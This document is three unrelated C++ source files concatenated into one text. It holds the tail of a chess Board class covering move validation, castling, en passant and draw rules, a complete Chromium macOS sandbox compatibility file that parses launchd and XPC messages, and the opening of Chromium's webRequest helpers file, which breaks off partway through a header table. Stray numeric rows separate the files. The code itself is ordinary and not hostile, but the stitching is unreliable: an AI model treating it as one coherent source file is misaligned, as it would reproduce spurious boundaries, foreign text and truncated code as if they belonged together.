bool Board::drawCanBeClaimed() const {
// 50 moves rule is to be intended as 50 by each player, so 100 in total here
return (threeFoldRepetition || countSincePawnMoveOrCapture >= 100) &&
!promotionPending();
}
void Board::claimDraw() {
if (drawCanBeClaimed()) {
m_isGameOver = true;
}
}
void Board::initializePiecesInStandardPos() {
std::array<Colour, 2> colours = {Colour::White, Colour::Black};
for (auto const& colour : colours) {
initializePawns(colour == Colour::White ?
Pawn::WHITE_STD_INIT : Pawn::BLACK_STD_INIT, colour);
initializeRooks(colour == Colour::White ?
Rook::WHITE_STD_INIT : Rook::BLACK_STD_INIT, colour);
initializeKnights(colour == Colour::White ?
Knight::WHITE_STD_INIT : Knight::BLACK_STD_INIT, colour);
initializeBishops(colour == Colour::White ?
Bishop::WHITE_STD_INIT : Bishop::BLACK_STD_INIT, colour);
initializeQueens({colour == Colour::White ?
Queen::WHITE_STD_INIT : Queen::BLACK_STD_INIT}, colour);
initializeKing(colour == Colour::White ?
King::WHITE_STD_INIT : King::BLACK_STD_INIT, colour);
}
}
void Board::reset() {
countSincePawnMoveOrCapture = 0;
hasher->reset();
promotionSource.reset();
boardHashCount.clear();
isWhiteTurn = true;
m_isGameOver = false;
threeFoldRepetition = false;
for (auto& column : board) {
for (auto& piece : column) {
piece.reset();
}
}
kings.clear();
movesHistory.clear();
insufficientMaterial.clear();
initializePiecesInStandardPos();
}
MoveResult Board::move(std::string_view src, std::string_view destination) {
Coordinates sourceCoord;
Coordinates targetCoord;
try {
sourceCoord = stringToCoordinates(src);
targetCoord = stringToCoordinates(destination);
} catch (std::exception const& e) {
throw InvalidMove(e.what(), InvalidMove::ErrorCode::INVALID_COORDINATES);
}
return move(sourceCoord, targetCoord);
}
MoveResult Board::move(Coordinates const& src, Coordinates const& destination) {
if (at(src) == nullptr) {
std::string sourceStr;
try {
sourceStr = Board::coordinatesToString(src);
} catch (std::exception const& e) {
throw InvalidMove(e.what(), InvalidMove::ErrorCode::INVALID_COORDINATES);
}
std::stringstream ss;
ss << "There is no piece at position " << sourceStr;
throw InvalidMove(ss.str(), InvalidMove::ErrorCode::NO_SOURCE_PIECE);
}
return board[src.column][src.row]->move(src, destination);
}
void Board::ensurePieceIsAtSource(Piece const& piece,
Coordinates const& source) const {
if (&piece != at(source)) {
throw std::logic_error("Piece is not at the specified source coordinates");
}
}
MoveResult Board::move(Pawn& piece, Coordinates const& source,
Coordinates const& destination) {
ensurePieceIsAtSource(piece, source);
return move(source, destination,
[this, &piece] (Coordinates const& source, Coordinates const& destination) {
if (isValidEnPassant(piece, source, destination)) {
auto toCaptureRow = (destination.row == 2) ? 3 : MAX_ROW_NUM - 3;
Coordinates toCapture(destination.column, toCaptureRow);
auto& srcPiecePtr = board[source.column][source.row];
movesHistory.emplace_back(*this, source, destination,
srcPiecePtr->getMovedStatus(),
std::move(board[toCapture.column][toCapture.row]),
toCapture);
srcPiecePtr->setMovedStatus(true);
board[destination.column][destination.row] = std::move(srcPiecePtr);
} else {
recordAndMove(source, destination);
}
if ((piece.getColour() == Colour::White &&
destination.row == MAX_ROW_NUM) ||
(piece.getColour() == Colour::Black &&
destination.row == 0)) {
promotionSource = destination;
}
countSincePawnMoveOrCapture = 0;
});
}
MoveResult Board::move(PromotionPiece& piece, Coordinates const& source,
Coordinates const& destination) {
ensurePieceIsAtSource(piece, source);
return move(source, destination,
[this] (Coordinates const& source, Coordinates const& destination) {
recordAndMove(source, destination);
countSincePawnMoveOrCapture++;
});
}
MoveResult Board::move(King& piece, Coordinates const& source,
Coordinates const& destination) {
ensurePieceIsAtSource(piece, source);
return move(source, destination,
[this] (Coordinates const& source, Coordinates const& destination) {
recordAndMove(source, destination);
countSincePawnMoveOrCapture++;
});
}
template <typename Callable>
MoveResult Board::move(Coordinates const& source,
Coordinates const& destination, Callable&& mover) {
ensureGameNotOver();
ensureNoPromotionNeeded();
auto& piece = *(board[source.column][source.row]);
ensurePlayerCanMovePiece(piece);
auto gameState = MoveResult::GameState::NORMAL;
if (auto castlingType = tryCastling(source, destination)) {
countSincePawnMoveOrCapture++;
gameState = checkGameState();
togglePlayer();
return MoveResult(gameState, *castlingType);
}
if (!piece.isNormalMove(source, destination)) {
std::string sourceStr, targetStr;
try {
sourceStr = coordinatesToString(source);
targetStr = coordinatesToString(destination);
} catch (std::exception const& e) {
throw InvalidMove(e.what(), InvalidMove::ErrorCode::INVALID_COORDINATES);
}
std::stringstream ss;
ss << piece << " cannot move from " << sourceStr << " to " << targetStr;
throw InvalidMove(ss.str(), InvalidMove::ErrorCode::PIECE_LOGIC_ERROR);
}
// may need to restore count if move causes self check
auto tmpCount = countSincePawnMoveOrCapture;
mover(source, destination);
if (isInCheck(currentPlayer())) {
std::stringstream ss;
promotionSource.reset();
revertLastPieceMovement();
movesHistory.pop_back();
countSincePawnMoveOrCapture = tmpCount;
ss << (isWhiteTurn? "White" : "Black") <<
"'s move is invalid as they would be in check";
throw InvalidMove(ss.str(), InvalidMove::ErrorCode::CHECK_ERROR);
}
auto& lastMove = movesHistory.back();
if (lastMove.destination != lastMove.removedPieceCoords) { // en passant
hasher->removed(lastMove.removedPieceCoords);
}
hasher->pieceMoved(source, destination);
std::optional<std::string> capturedPieceName;
if (lastMove.removedPiece != nullptr) {
countSincePawnMoveOrCapture = 0;
capturedPieceName = lastMove.removedPiece->name();
}
if (promotionPending()) {
gameState = MoveResult::GameState::AWAITING_PROMOTION;
} else {
hasher->togglePlayer();
auto hash = hasher->hash();
boardHashCount[hash]++;
gameState = checkGameState();
if (boardHashCount.at(hash) >= 3) {
threeFoldRepetition = true;
}
togglePlayer();
}
if (capturedPieceName) {
return MoveResult(gameState, *capturedPieceName);
}
return MoveResult(gameState);
}
void Board::ensureGameNotOver() {
if (m_isGameOver) {
throw InvalidMove("Game is already over, please reset",
InvalidMove::ErrorCode::GAME_OVER);
}
}
void Board::ensurePlayerCanMovePiece(Piece const& piece) {
auto pieceColour = piece.getColour();
if ((pieceColour == Colour::Black && isWhiteTurn) ||
(pieceColour == Colour::White && !isWhiteTurn)) {
std::stringstream ss;
ss << "It is not " << (isWhiteTurn ? "Black" : "White");
ss << "'s turn to move";
throw InvalidMove(ss.str(), InvalidMove::ErrorCode::WRONG_TURN);
}
}
bool Board::promotionPending() const {
return promotionSource.has_value();
}
void Board::ensureNoPromotionNeeded() {
if (promotionPending()) {
throw InvalidMove("Promote pawn before continuing",
InvalidMove::ErrorCode::PENDING_PROMOTION);
}
}
MoveResult::GameState Board::checkGameState() {
Colour enemyColour;
enemyColour = isWhiteTurn ? Colour::Black : Colour::White;
bool inCheck = isInCheck(enemyColour);
bool hasMoves = hasMovesLeft(enemyColour);
if (inCheck && !hasMoves) {
m_isGameOver = true;
return MoveResult::GameState::OPPONENT_IN_CHECKMATE;
} else if (!inCheck && !hasMoves) {
m_isGameOver = true;
return MoveResult::GameState::STALEMATE;
} else if (countSincePawnMoveOrCapture >= 150) { // 75 by each player
m_isGameOver = true;
return MoveResult::GameState::SEVENTYFIVE_MOVES_DRAW;
} else if (boardHashCount.count(hasher->hash()) &&
boardHashCount.at(hasher->hash()) >= 5) {
m_isGameOver = true;
return MoveResult::GameState::FIVEFOLD_REPETITION_DRAW;
} else if (!sufficientMaterial()) {
m_isGameOver = true;
return MoveResult::GameState::INSUFFICIENT_MATERIAL_DRAW;
} else if (inCheck && hasMoves) {
return MoveResult::GameState::OPPONENT_IN_CHECK;
}
return MoveResult::GameState::NORMAL;
}
void Board::togglePlayer() {
isWhiteTurn = !isWhiteTurn;
}
std::optional<CastlingType> getCastlingType(Coordinates const& source,
Coordinates const& target) {
if (source != King::WHITE_STD_INIT && source != King::BLACK_STD_INIT) {
return std::nullopt;
}
// in castling, row is always the king's
if (target.row != source.row) {
return std::nullopt;
}
int colOffset = source.column - target.column;
if (colOffset == -CASTLE_DISTANCE) {
return CastlingType::KingSide;
} else if (colOffset == CASTLE_DISTANCE) {
return CastlingType::QueenSide;
}
return std::nullopt;
}
std::optional<CastlingType> Board::tryCastling(Coordinates const& source,
Coordinates const& target) {
auto castlingTypeOpt = getCastlingType(source, target);
if (!castlingTypeOpt) {
return std::nullopt;
}
auto castlingType = castlingTypeOpt.value();
int dir = 0; // column directionality for castling
Coordinates rookTarget, rookSource;
if (castlingType == CastlingType::KingSide) {
rookSource = Coordinates(MAX_COL_NUM, source.row);
rookTarget = Coordinates(MAX_COL_NUM - 2, source.row);
dir = 1;
} else {
rookSource = Coordinates(0, source.row);
rookTarget = Coordinates(3, source.row);
dir = -1;
}
if (at(rookSource) == nullptr || at(source) == nullptr) {
return std::nullopt;
}
if (!isFreeRow(source, target.column) || at(target) != nullptr) {
return std::nullopt;
}
if (at(rookSource)->getMovedStatus() || at(source)->getMovedStatus()) {
return std::nullopt;
}
if (isInCheck(at(source)->getColour())) {
return std::nullopt;
}
// check if king's path is under attack
for (auto coord = Coordinates(source.column + dir, source.row);
coord.column != target.column;
coord.column += dir) {
if (isSuicide(source, coord)) {
return std::nullopt;
}
}
// simulate castling and abort if it ends up in a check
recordAndMove(rookSource, rookTarget);
recordAndMove(source, target);
if (isInCheck(at(target)->getColour())) {
revertLastPieceMovement();
movesHistory.pop_back();
revertLastPieceMovement();
movesHistory.pop_back();
return std::nullopt;
}
hasher->pieceMoved(rookSource, rookTarget);
hasher->pieceMoved(source, target);
hasher->togglePlayer();
boardHashCount[hasher->hash()]++;
return castlingType;
}
bool Board::sufficientMaterial() const {
std::vector<std::reference_wrapper<Piece>> whites;
std::vector<std::reference_wrapper<Piece>> blacks;
for (auto& column: board) {
for (auto& piecePtr: column) {
if (piecePtr == nullptr) {
continue;
}
if (piecePtr->getColour() == Colour::White) {
whites.emplace_back(*piecePtr);
} else {
blacks.emplace_back(*piecePtr);
}
}
}
if (whites.size() > 2 || blacks.size() > 2) {
return true;
}
for (auto const& white : whites) {
if (insufficientMaterial.count(white) == 0) {
return true;
}
}
for (auto const& black : blacks) {
if (insufficientMaterial.count(black) == 0) {
return true;
}
}
return false;
}
bool Board::isFreeColumn(Coordinates const& source, int limitRow) const {
if (source.row == limitRow) {
throw std::invalid_argument("source row and limitRow cannot be equal");
}
// figure out directionality
int dir = (source.row > limitRow) ? -1: 1;
Coordinates src = source;
for (int row = src.row + dir; row != limitRow; row += dir) {
src.row = row;
if (!areWithinLimits(src)) {
throw std::invalid_argument("Coordinates go beyond the board limits");
}
if (at(src)) {
return false;
}
}
return true;
}
bool Board::isFreeRow(Coordinates const& source, int limitCol) const {
if (source.column == limitCol) {
throw std::invalid_argument("source column and limitCol cannot be equal");
}
// figure out directionality
int dir = (source.column > limitCol) ? -1 : 1;
Coordinates src = source;
for (int column = src.column+dir; column != limitCol; column += dir) {
src.column = column;
if (!areWithinLimits(src)) {
throw std::invalid_argument("Coordinates go beyond the board limits");
}
if (at(src)) {
return false;
}
}
return true;
}
bool Board::isDiagonalFree(Coordinates const& source,
Coordinates const& destination) const {
if (source == destination) {
throw std::invalid_argument("source and destination cannot be equal");
}
if (!areInSameDiagonal(source, destination)) {
throw std::invalid_argument("source and destination are"
" not in the same diagonal");
}
// figure out directionality
int rowAdd = (source.row > destination.row)? -1 : 1;
int columnAdd = (source.column > destination.column)? -1 : 1;
// this will not check the extremes, as intended
Coordinates src = source;
for (src = Coordinates(src.column + columnAdd, src.row + rowAdd);
src != destination;
src.row += rowAdd, src.column += columnAdd) {
if (!areWithinLimits(src)) {
throw std::invalid_argument("Coordinates go beyond the board limits");
}
if (at(src)) {
return false;
}
}
return true;
}
Piece const* Board::at(Coordinates const& coord) const {
return board.at(coord.column).at(coord.row).get();
}
std::optional<Coordinates> Board::getPieceCoordinates(Piece const& piece) const {
for (size_t i = 0; i < board.size(); i++) {
for (size_t j = 0; j < board[i].size(); j++) {
if (board[i][j].get() == &piece) {
return Coordinates(i, j);
}
}
}
return std::nullopt;
}
bool Board::isInCheck(Colour kingColour) const {
if (auto kingCoord = getPieceCoordinates(kings.at(kingColour))) {
for (size_t i = 0; i < board.size(); i++) {
for (size_t j = 0; j < board[i].size(); j++) {
auto& piece = board[i][j];
// check if an enemy piece can move where the king is
if (piece != nullptr &&
piece->getColour() != kingColour &&
piece->isNormalMove(Coordinates(i,j), *kingCoord)) {
return true;
}
}
}
return false;
}
throw std::logic_error("Attempted to find non-existent king while looking "
"for a check.");
}
bool Board::hasMovesLeft(Colour colour) {
for (size_t i = 0; i < board.size(); i++) {
for (size_t j = 0; j < board[i].size(); j++) {
if (board[i][j] == nullptr || board[i][j]->getColour() != colour) {
continue;
}
auto srcCoord = Coordinates(i, j);
if (pieceHasMovesLeft(srcCoord)) {
return true;
}
}
}
// tried all possible moves and check is unavoidable
return false;
}
bool Board::pieceHasMovesLeft(Coordinates const& srcCoord) {
for (size_t i = 0; i < board.size(); i++) {
for (size_t j = 0; j < board[i].size(); j++) {
Coordinates targetCoord(i, j);
if (at(srcCoord)->isNormalMove(srcCoord, targetCoord) &&
!isSuicide(srcCoord, targetCoord)) {
return true;
}
}
}
return false;
}
void Board::recordAndMove(Coordinates const& source,
Coordinates const& destination) {
auto& pieceDest = board[destination.column][destination.row];
auto& pieceSrc = board[source.column][source.row];
if (pieceDest != nullptr) {
movesHistory.emplace_back(*this, source, destination,
pieceSrc->getMovedStatus(),
std::move(pieceDest));
} else {
movesHistory.emplace_back(*this, source, destination,
pieceSrc->getMovedStatus());
}
pieceSrc->setMovedStatus(true);
pieceDest = std::move(pieceSrc);
}
bool Board::isSuicide(Coordinates const& source,
Coordinates const& destination) {
recordAndMove(source, destination);
bool check = isInCheck(at(destination)->getColour());
revertLastPieceMovement();
movesHistory.pop_back();
return check;
}
void Board::undoLastMove() {
if (movesHistory.size() > 0) {
auto srcMoved = movesHistory.back().sourceMovedStatus;
auto castling = getCastlingType(movesHistory.back().source,
movesHistory.back().destination);
// castling and promotion are stored as 2 moves
if ((castling.has_value() && !srcMoved) ||
movesHistory.back().source == movesHistory.back().destination) {
revertLastPieceMovement();
movesHistory.pop_back();
hasher->restorePreviousHash();
}
revertLastPieceMovement();
auto& lastMove = movesHistory.back();
m_isGameOver = false;
isWhiteTurn = lastMove.isWhiteTurn;
promotionSource = lastMove.promotionSource;
boardHashCount = lastMove.boardHashCount;
countSincePawnMoveOrCapture = lastMove.countSincePawnMoveOrCapture;
threeFoldRepetition = lastMove.threeFoldRepetition;
insufficientMaterial = lastMove.insufficientMaterial;
movesHistory.pop_back();
hasher->restorePreviousHash();
}
}
void Board::revertLastPieceMovement() {
auto& lastMove = movesHistory.back();
auto& source = lastMove.source;
auto& dest = lastMove.destination;
board[source.column][source.row] = std::move(board[dest.column][dest.row]);
board[source.column][source.row] ->setMovedStatus(lastMove.sourceMovedStatus);
if (lastMove.removedPiece != nullptr) {
Coordinates target = dest;
if (lastMove.removedPieceCoords != lastMove.destination) { // en passant
target = lastMove.removedPieceCoords;
}
board[target.column][target.row] = std::move(lastMove.removedPiece);
}
}
bool Board::isValidEnPassant(Pawn const& pawn, Coordinates const& source,
Coordinates const& destination) const {
if (&pawn != at(source) || movesHistory.empty()) {
return false;
}
auto& lastMove = movesHistory.back();
auto lastMoveColour = lastMove.isWhiteTurn ?
Colour::White : Colour::Black;
if (lastMove.sourceMovedStatus || pawn.getColour() == lastMoveColour) {
return false;
}
auto& lastMoveDest = lastMove.destination;
if (source.row != lastMoveDest.row ||
abs(source.column - lastMoveDest.column) != 1) {
return false;
}
auto& lastMoveSrc = lastMove.source;
if (destination.column != lastMoveSrc.column) {
return false;
}
if (lastMoveSrc.row == 1 && lastMoveDest.row == 3 &&
destination.row == 2) {
return true;
}
if (lastMoveSrc.row == MAX_ROW_NUM - 1 &&
lastMoveDest.row == MAX_ROW_NUM - 3 &&
destination.row == MAX_ROW_NUM - 2) {
return true;
}
return false;
}
std::optional<MoveResult> Board::promote(PromotionOption piece) {
if (!promotionSource) {
return std::nullopt;
}
auto& source = *promotionSource;
auto& piecePtr = board[source.column][source.row];
auto moved = piecePtr->getMovedStatus();
movesHistory.emplace_back(*this, source, source,
moved, std::move(piecePtr));
piecePtr = std::move(buildPromotionPiece(piece));
if (piece == PromotionOption::Knight || piece == PromotionOption::Bishop) {
insufficientMaterial.emplace(*piecePtr);
}
promotionSource.reset();
auto state = checkGameState();
hasher->replacedWithPromotion(source, piece, currentPlayer());
togglePlayer();
hasher->togglePlayer();
return MoveResult(state);
}
std::unique_ptr<PromotionPiece> Board::buildPromotionPiece(
PromotionOption piece) {
switch (piece) {
case PromotionOption::Queen:
return std::make_unique<Queen>(currentPlayer(), *this);
case PromotionOption::Knight:
return std::make_unique<Knight>(currentPlayer(), *this);
case PromotionOption::Bishop:
return std::make_unique<Bishop>(currentPlayer(), *this);
case PromotionOption::Rook:
return std::make_unique<Rook>(currentPlayer(), *this);
default:
throw std::logic_error("Promotion not correctly implemented");
}
}
void printBottomLines(std::ostream& out) {
out << "\n|";
for (int j = 0; j <= Board::MAX_COL_NUM; j++) {
out << std::setw(H_PRINT_SIZE) << "|";
}
out << "\n|";
for (int j = 0; j <= Board::MAX_COL_NUM; j++) {
for (int i = 0; i < H_PRINT_SIZE - 1; i++) {
out << '-';
}
out << '|';
}
}
void printColumnLegend(std::ostream& out) {
for (char ch = Board::MIN_COLUMN; ch <= Board::MAX_COLUMN; ch++) {
out << std::setw((std::streamsize)H_PRINT_SIZE / 2 + 1) << ch;
out << std::setw(H_PRINT_SIZE / 2) << " ";
}
}
void printTopLine(std::ostream& out) {
out << "\n|";
for (int j = 0; j <= Board::MAX_COL_NUM; j++) {
out << std::setw(H_PRINT_SIZE) << '|';
}
out << "\n|";
}
std::ostream& operator<<(std::ostream& out, Board const& board) {
for (int r = board.MAX_ROW_NUM; r >= 0; r--) {
printTopLine(out);
for (int c = 0; c <= board.MAX_ROW_NUM; c++) {
Coordinates iterCoord(c, r);
if (auto piece = board.at(iterCoord)) {
out << std::right;
out << std::setw((std::streamsize)H_PRINT_SIZE - 1);
out << *piece << '|';
} else {
out << std::setw(H_PRINT_SIZE) << "|";
}
if (c == board.MAX_ROW_NUM) {
out << " " << r+1;
}
}
printBottomLines(out);
}
out << "\n";
printColumnLegend(out);
return out << "\n\n";
}
Board::~Board() = default;
}
| 35,596 | 11,288 |
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "sandbox/mac/os_compatibility.h"
#include <servers/bootstrap.h>
#include <stddef.h>
#include <stdint.h>
#include <unistd.h>
#include "base/logging.h"
#include "base/mac/mac_util.h"
#include "base/memory/ptr_util.h"
#include "sandbox/mac/xpc.h"
namespace sandbox {
namespace {
#pragma pack(push, 4)
// Verified from launchd-329.3.3 (10.6.8).
// look_up2_reply_10_7 is the same as the 10_6 version.
struct look_up2_reply_10_7 {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t service_port;
};
// Verified from:
// launchd-392.39 (10.7.5)
// launchd-442.26.2 (10.8.5)
// launchd-842.1.4 (10.9.0)
struct look_up2_request_10_7 {
mach_msg_header_t Head;
NDR_record_t NDR;
name_t servicename;
pid_t targetpid;
uuid_t instanceid;
uint64_t flags;
};
// Verified from:
// launchd-329.3.3 (10.6.8)
// launchd-392.39 (10.7.5)
// launchd-442.26.2 (10.8.5)
// launchd-842.1.4 (10.9.0)
typedef int vproc_gsk_t; // Defined as an enum in liblaunch/vproc_priv.h.
struct swap_integer_request_10_7 {
mach_msg_header_t Head;
NDR_record_t NDR;
vproc_gsk_t inkey;
vproc_gsk_t outkey;
int64_t inval;
};
#pragma pack(pop)
// TODO(rsesek): Libc provides strnlen() starting in 10.7.
size_t strnlen(const char* str, size_t maxlen) {
size_t len = 0;
for (; len < maxlen; ++len, ++str) {
if (*str == '\0')
break;
}
return len;
}
class OSCompatibility_10_7 : public OSCompatibility {
public:
OSCompatibility_10_7() {}
~OSCompatibility_10_7() override {}
uint64_t GetMessageSubsystem(const IPCMessage message) override {
return (message.mach->msgh_id / 100) * 100;
}
uint64_t GetMessageID(const IPCMessage message) override {
return message.mach->msgh_id;
}
bool IsServiceLookUpRequest(const IPCMessage message) override {
return GetMessageID(message) == 404;
}
bool IsVprocSwapInteger(const IPCMessage message) override {
return GetMessageID(message) == 416;
}
bool IsXPCDomainManagement(const IPCMessage message) override {
return false;
}
std::string GetServiceLookupName(const IPCMessage message) override {
return GetRequestName<look_up2_request_10_7>(message);
}
void WriteServiceLookUpReply(IPCMessage message,
mach_port_t service_port) override {
auto reply = reinterpret_cast<look_up2_reply_10_7*>(message.mach);
reply->Head.msgh_size = sizeof(*reply);
reply->Head.msgh_bits =
MACH_MSGH_BITS_REMOTE(MACH_MSG_TYPE_MOVE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
reply->msgh_body.msgh_descriptor_count = 1;
reply->service_port.name = service_port;
reply->service_port.disposition = MACH_MSG_TYPE_COPY_SEND;
reply->service_port.type = MACH_MSG_PORT_DESCRIPTOR;
}
bool IsSwapIntegerReadOnly(const IPCMessage message) override {
auto request =
reinterpret_cast<const swap_integer_request_10_7*>(message.mach);
return request->inkey == 0 && request->inval == 0 && request->outkey != 0;
}
protected:
// The 10.6 and 10.7 implementations are the same except for struct offsets,
// so provide this templatized helper.
template <typename R>
static std::string GetRequestName(const IPCMessage message) {
mach_msg_header_t* header = message.mach;
DCHECK_EQ(sizeof(R), header->msgh_size);
const R* request = reinterpret_cast<const R*>(header);
// Make sure the name is properly NUL-terminated.
const size_t name_length =
strnlen(request->servicename, BOOTSTRAP_MAX_NAME_LEN);
std::string name = std::string(request->servicename, name_length);
return name;
}
};
class OSCompatibility_10_10 : public OSCompatibility {
public:
OSCompatibility_10_10() {}
~OSCompatibility_10_10() override {}
uint64_t GetMessageSubsystem(const IPCMessage message) override {
return xpc_dictionary_get_uint64(message.xpc, "subsystem");
}
uint64_t GetMessageID(const IPCMessage message) override {
return xpc_dictionary_get_uint64(message.xpc, "routine");
}
bool IsServiceLookUpRequest(const IPCMessage message) override {
uint64_t subsystem = GetMessageSubsystem(message);
uint64_t id = GetMessageID(message);
// Lookup requests in XPC can either go through the Mach bootstrap subsytem
// (5) from bootstrap_look_up(), or the XPC domain subsystem (3) for
// xpc_connection_create(). Both use the same message format.
return (subsystem == 5 && id == 207) || (subsystem == 3 && id == 804);
}
bool IsVprocSwapInteger(const IPCMessage message) override {
return GetMessageSubsystem(message) == 6 && GetMessageID(message) == 301;
}
bool IsXPCDomainManagement(const IPCMessage message) override {
return GetMessageSubsystem(message) == 3;
}
std::string GetServiceLookupName(const IPCMessage message) override {
const char* name = xpc_dictionary_get_string(message.xpc, "name");
const size_t name_length = strnlen(name, BOOTSTRAP_MAX_NAME_LEN);
return std::string(name, name_length);
}
void WriteServiceLookUpReply(IPCMessage message,
mach_port_t service_port) override {
xpc_dictionary_set_mach_send(message.xpc, "port", service_port);
}
bool IsSwapIntegerReadOnly(const IPCMessage message) override {
return xpc_dictionary_get_bool(message.xpc, "set") == false &&
xpc_dictionary_get_uint64(message.xpc, "ingsk") == 0 &&
xpc_dictionary_get_int64(message.xpc, "in") == 0;
}
};
} // namespace
// static
std::unique_ptr<OSCompatibility> OSCompatibility::CreateForPlatform() {
if (base::mac::IsOSMavericks())
return base::WrapUnique(new OSCompatibility_10_7());
else
return base::WrapUnique(new OSCompatibility_10_10());
}
OSCompatibility::~OSCompatibility() {}
} // namespace sandbox
| 5,971 | 2,233 |
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "extensions/browser/api/web_request/web_request_api_helpers.h"
#include <stddef.h>
#include <stdint.h>
#include <algorithm>
#include <cmath>
#include <tuple>
#include <utility>
#include "base/bind.h"
#include "base/containers/adapters.h"
#include "base/containers/contains.h"
#include "base/containers/fixed_flat_map.h"
#include "base/containers/fixed_flat_set.h"
#include "base/memory/scoped_refptr.h"
#include "base/metrics/histogram_macros.h"
#include "base/ranges/algorithm.h"
#include "base/stl_util.h"
#include "base/strings/string_number_conversions.h"
#include "base/strings/string_piece.h"
#include "base/strings/string_util.h"
#include "base/time/time.h"
#include "base/values.h"
#include "build/chromeos_buildflags.h"
#include "components/web_cache/browser/web_cache_manager.h"
#include "content/public/browser/browser_context.h"
#include "content/public/browser/browser_task_traits.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/render_process_host.h"
#include "extensions/browser/api/declarative_net_request/request_action.h"
#include "extensions/browser/api/extensions_api_client.h"
#include "extensions/browser/api/web_request/web_request_api_constants.h"
#include "extensions/browser/api/web_request/web_request_info.h"
#include "extensions/browser/extension_registry.h"
#include "extensions/browser/extension_system.h"
#include "extensions/browser/extensions_browser_client.h"
#include "extensions/common/api/declarative_net_request.h"
#include "extensions/common/extension_messages.h"
#include "net/cookies/cookie_util.h"
#include "net/cookies/parsed_cookie.h"
#include "net/http/http_request_headers.h"
#include "net/http/http_util.h"
#include "net/log/net_log_event_type.h"
#include "services/network/public/cpp/features.h"
#include "url/url_constants.h"
#if BUILDFLAG(IS_CHROMEOS_ASH)
#include "chromeos/login/login_state/login_state.h"
#endif
#if BUILDFLAG(IS_CHROMEOS_LACROS)
#include "chromeos/crosapi/mojom/crosapi.mojom.h" // nogncheck
#include "chromeos/lacros/lacros_service.h"
#endif
// TODO(battre): move all static functions into an anonymous namespace at the
// top of this file.
using base::Time;
using net::cookie_util::ParsedRequestCookie;
using net::cookie_util::ParsedRequestCookies;
namespace keys = extension_web_request_api_constants;
namespace web_request = extensions::api::web_request;
using DNRRequestAction = extensions::declarative_net_request::RequestAction;
namespace extension_web_request_api_helpers {
namespace {
namespace dnr_api = extensions::api::declarative_net_request;
using ParsedResponseCookies = std::vector<std::unique_ptr<net::ParsedCookie>>;
void ClearCacheOnNavigationOnUI() {
extensions::ExtensionsBrowserClient::Get()->ClearBackForwardCache();
web_cache::WebCacheManager::GetInstance()->ClearCacheOnNavigation();
}
bool ParseCookieLifetime(const net::ParsedCookie& cookie,
int64_t* seconds_till_expiry) {
// 'Max-Age' is processed first because according to:
// http://tools.ietf.org/html/rfc6265#section-5.3 'Max-Age' attribute
// overrides 'Expires' attribute.
if (cookie.HasMaxAge() &&
base::StringToInt64(cookie.MaxAge(), seconds_till_expiry)) {
return true;
}
Time parsed_expiry_time;
if (cookie.HasExpires()) {
parsed_expiry_time =
net::cookie_util::ParseCookieExpirationTime(cookie.Expires());
}
if (!parsed_expiry_time.is_null()) {
*seconds_till_expiry =
ceil((parsed_expiry_time - Time::Now()).InSecondsF());
return *seconds_till_expiry >= 0;
}
return false;
}
void RecordRequestHeaderRemoved(RequestHeaderType type) {
UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.RequestHeaderRemoved", type);
}
void RecordRequestHeaderAdded(RequestHeaderType type) {
UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.RequestHeaderAdded", type);
}
void RecordRequestHeaderChanged(RequestHeaderType type) {
UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.RequestHeaderChanged", type);
}
void RecordDNRRequestHeaderRemoved(RequestHeaderType type) {
UMA_HISTOGRAM_ENUMERATION(
"Extensions.DeclarativeNetRequest.RequestHeaderRemoved", type);
}
void RecordDNRRequestHeaderAdded(RequestHeaderType type) {
UMA_HISTOGRAM_ENUMERATION(
"Extensions.DeclarativeNetRequest.RequestHeaderAdded", type);
}
void RecordDNRRequestHeaderChanged(RequestHeaderType type) {
UMA_HISTOGRAM_ENUMERATION(
"Extensions.DeclarativeNetRequest.RequestHeaderChanged", type);
}
bool IsStringLowerCaseASCII(base::StringPiece s) {
return std::none_of(s.begin(), s.end(), base::IsAsciiUpper<char>);
}
constexpr auto kRequestHeaderEntries =
base::MakeFixedFlatMap<base::StringPiece, RequestHeaderType>(
{{"accept", RequestHeaderType::kAccept},
{"accept-charset", RequestHeaderType::kAcceptCharset},
{"accept-encoding", RequestHeaderType::kAcceptEncoding},
{"accept-language", RequestHeaderType::kAcceptLanguage},
{"access-control-request-headers",
RequestHeaderType::kAccessControlRequestHeaders},
{"access-control-request-method",
RequestHeaderType::kAccessControlRequestMethod},
{"authorization", RequestHeaderType::kAuthorization},
{"cache-control", RequestHeaderType::kCacheControl},
{"connection", RequestHeaderType::kConnection},
{"content-encoding", RequestHeaderType::kContentEncoding},
{"content-language", RequestHeaderType::kContentLanguage},
{"content-length", RequestHeaderType::kContentLength},
{"content-location", RequestHeaderType::kContentLocation},
{"content-type", RequestHeaderType::kContentType},
{"cookie", RequestHeaderType::kCookie},
{"date", RequestHeaderType::kDate},
{"dnt", RequestHeaderType::kDnt},
{"early-data", RequestHeaderType::kEarlyData},
{"expect", RequestHeaderType::kExpect},
{"forwarded", RequestHeaderType::kForwarded},
{"from", RequestHeaderType::kFrom},
{"host", RequestHeaderType::kHost},
{"if-match", RequestHeaderType::kIfMatch},
{"if-modified-since", RequestHeaderType::kIfModifiedSince},
{"if-none-match", RequestHeaderType::kIfNoneMatch},
{"if-range", RequestHeaderType::kIfRange},
{"if-unmodified-since", RequestHeaderType::kIfUnmodifiedSince},
{"keep-alive", RequestHeaderType::kKeepAlive},
{"origin", RequestHeaderType::kOrigin},
{"pragma", RequestHeaderType::kPragma},
{"proxy-authorization", RequestHeaderType::kProxyAuthorization},
{"proxy-connection", RequestHeaderType::kProxyConnection},
{"range", RequestHeaderType::kRange},
{"referer", RequestHeaderType::kReferer},
{"te", RequestHeaderType::kTe},
{"transfer-encoding", RequestHeaderType::kTransferEncoding},
{"upgrade", RequestHeaderType::kUpgrade},
{"upgrade-insecure-requests",
RequestHeaderType::kUpgradeInsecureRequests},
{"user-agent", RequestHeaderType::kUserAgent},
{"via", RequestHeaderType::kVia},
{"warning", RequestHeaderType::kWarning},
